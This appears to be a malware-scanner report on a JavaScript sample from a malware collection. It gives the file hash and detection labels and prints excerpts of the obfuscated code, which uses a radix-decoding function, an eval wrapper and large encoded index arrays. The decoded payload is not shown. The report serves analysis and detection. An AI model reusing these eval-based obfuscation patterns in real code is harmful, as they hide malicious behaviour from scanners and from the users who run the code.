Suspicious ^80% javascript-malware-collection Download

20151210_d4256ea1515f3ebaeeded81a19591904.js

Obfuscated JS with eval and string decoding

parseInt toString radix remapMassive array index assignment

SHA-256617bf2f72fa7dce18b247fa401476dcdaf9b6cbf44efffd9d5bca7ab8ff77b74

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var SLKTLvlQfQFFE=[];
2qRRfbap=(-663+663)/901;while(true){if(qRRfbap>=(52996+252)/416){break;}SLKTLvlQfQFFE[qRRfbap]=String.fromCharCode(qRRfbap);qRRfbap++;}
3function MCObW(hFXdYfBSPwz,CYyPWEopZjkfW,UDlPqPhy){TWaX=parseInt(hFXdYfBSPwz,CYyPWEopZjkfW);EXCse=TWaX.toString(UDlPqPhy);return EXCse;}function pouQAElnVzjULZA(WetrUEIZsfCnJHkmu){eval(WetrUEIZsfCnJHkmu)}
4function CqKWqkIiNOMVQinqZVPvIVBiZxZsdxbARkpiLWfxLkEfjMRgEakdzq(ApYTUuasOEHxe,VwNxrrKcrDdKEu){ return SLKTLvlQfQFFE[MCObW(ApYTUuasOEHxe[VwNxrrKcrDdKEu],(9901+849)/430,(7977+263)/824)];}
5function VRLZsJS(iOOQZNezGlLpeuosiYvRrMWrlxYDyfULkRxT) {return !isNaN(parseFloat(iOOQZNezGlLpeuosiYvRrMWrlxYDyfULkRxT)) && isFinite(iOOQZNezGlLpeuosiYvRrMWrlxYDyfULkRxT);}
6function NetqJYHIciB(SLagUZpl,eyILVg){return SLagUZpl.split(eyILVg)}
7var d=[];d[0]="d";d[1]="a";d[2]="d";d[3]="a";d[4]="4i";d[5]="3m";d[6]="4e";d[7]="17";d[8]="3n";d[9]="17";d[10]="2b";d …

Massive array index assignment line 8

8:3030… ";H[753]="27";H[754]="24";H[755]="1g";H[756]="17";H[757]="17";H[758]="4n";H[759]="d";H[760]="a";H[761]="17";H[762]="17";H[763]="17";H[764]="17";H[765]="17";H[766]="17";H[767]="17";H[768]="17";H[769]="37";H[770]="33";H[771]="17";H[772]="2b";H[773]="17";H[774]="1o";H[775]="29";H[776]="17";H[777]="49";H[778]="4k";H[779]="39";H[780]="1l";H[781]="4c";H[782]="4b";H[783]="4f";H[784]="45";H[785]="4g";H[786]="45";H …